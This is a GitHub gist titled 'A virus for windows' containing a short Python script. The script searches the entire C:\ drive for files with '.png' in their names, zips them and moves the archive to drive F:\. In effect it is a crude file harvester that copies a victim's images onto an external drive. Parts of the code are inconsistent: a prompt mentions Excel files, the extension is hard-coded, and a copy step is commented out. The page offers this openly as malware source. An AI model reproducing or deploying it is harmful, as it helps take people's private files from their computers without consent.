Created
May 22, 2021 11:58
-
-
Save codewithpom/e948719f5f9d3f2abfb926c0a5e19ba9 to your computer and use it in GitHub Desktop.
A virus for windows
A virus for windows
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
from datetime import datetime | |
from shutil import move | |
file_paths = [] | |
counter = 0 | |
print("If you want all the excel file, for example write .xlsx") | |
inp = ".png" | |
thisdir = os.getcwd() | |
print(datetime.now().strftime(("%H:%M:%S"))) | |
for r, d, f in os.walk("C:\\"): | |
for file in f: | |
filepath = os.path.join(r, file) | |
if inp in file: | |
counter += 1 | |
file_name = os.path.join(r, file) | |
print(file_name) | |
file_paths.append(file_name) | |
""" | |
copy(src=file_name, dst="F:\\") | |
""" | |
print(f"trovati {counter} files.") | |
print(datetime.now().strftime(("%H:%M:%S"))) | |
# importing required modules | |
from zipfile import ZipFile | |
def main(): | |
# path to folder which needs to be zipped | |
print('Following files will be zipped:') | |
with ZipFile('my_python_files.zip', 'w') as zipper: | |
for files in file_paths: | |
zipper.write(files) | |
print('All files zipped successfully!') | |
if __name__ == "__main__": | |
main() | |
move(src="my_python_files.zip", dst="F:\\") | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment